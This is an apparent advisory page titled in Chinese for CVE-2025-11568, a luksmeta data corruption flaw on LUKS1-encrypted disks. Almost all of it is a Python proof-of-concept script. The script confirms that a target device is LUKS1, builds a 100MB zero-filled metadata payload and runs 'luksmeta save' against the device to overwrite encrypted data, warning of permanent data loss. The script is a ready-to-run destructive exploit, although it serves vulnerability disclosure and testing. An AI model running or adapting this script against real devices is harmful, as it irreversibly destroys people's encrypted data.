CVE-2025-11568：luksmeta工具LUKS1磁盘加密数据损坏漏洞

#!/usr/bin/env python3 """ CVE-2025-11568 PoC - luksmeta LUKS1 Data Corruption This PoC demonstrates the data corruption vulnerability in luksmeta when used with LUKS1 disk encryption format. Note: This requires local high-privilege access to the system. """ import subprocess import struct import os import sys def check_luks1_device(device_path): """Check if the target device is using LUKS1 format""" try: result = subprocess.run( ['cryptsetup', 'luksDump', device_path], capture_output=True, text=True, timeout=10 ) if result.returncode == 0 and 'LUKS1' in result.stdout: return True return False except Exception as e: print(f"Error checking device: {e}") return False def exploit_luksmeta_corruption(device_path, metadata_size_mb=100): """ Exploit the luksmeta vulnerability by writing oversized metadata that exceeds the available header space, causing data corruption. """ if not check_luks1_device(device_path): print(f"[-] Device {device_path} is not LUKS1 format. Not vulnerable.") return False print(f"[*] Target device {device_path} confirmed as LUKS1 format") print(f"[*] Preparing oversized metadata payload ({metadata_size_mb}MB)...") # Generate a large metadata payload that exceeds the LUKS1 header space # LUKS1 header area is approximately 2MB, luksmeta uses space after it payload_size = metadata_size_mb * 1024 * 1024 # Convert to bytes payload = b'\x00' * payload_size # Write temporary metadata file metadata_file = '/tmp/luksmeta_exploit_payload.bin' with open(metadata_file, 'wb') as f: f.write(payload) print(f"[*] Payload size: {payload_size} bytes") print(f"[*] Attempting to write oversized metadata via luksmeta...") # Use luksmeta save to write the oversized metadata # This will overwrite encrypted data beyond the metadata area cmd = [ 'luksmeta', 'save', '-d', device_path, '--uuid', 'a1b2c3d4-e5f6-7890-abcd-ef1234567890', '-s', '1', # slot 1 metadata_file ] try: result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) if result.returncode == 0: print("[+] Metadata written successfully") print("[!] Data corruption has occurred - encrypted data has been overwritten!") return True else: print(f"[-] Write failed: {result.stderr}") return False except Exception as e: print(f"[-] Exploit error: {e}") return False finally: # Cleanup temporary file if os.path.exists(metadata_file): os.remove(metadata_file) if __name__ == '__main__': if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <luks1_device_path>") print(f"Example: {sys.argv[0]} /dev/sda2") sys.exit(1) device = sys.argv[1] print("=" * 60) print("CVE-2025-11568 - luksmeta LUKS1 Data Corruption PoC") print("WARNING: This will cause permanent data loss!") print("=" * 60) exploit_luksmeta_corruption(device)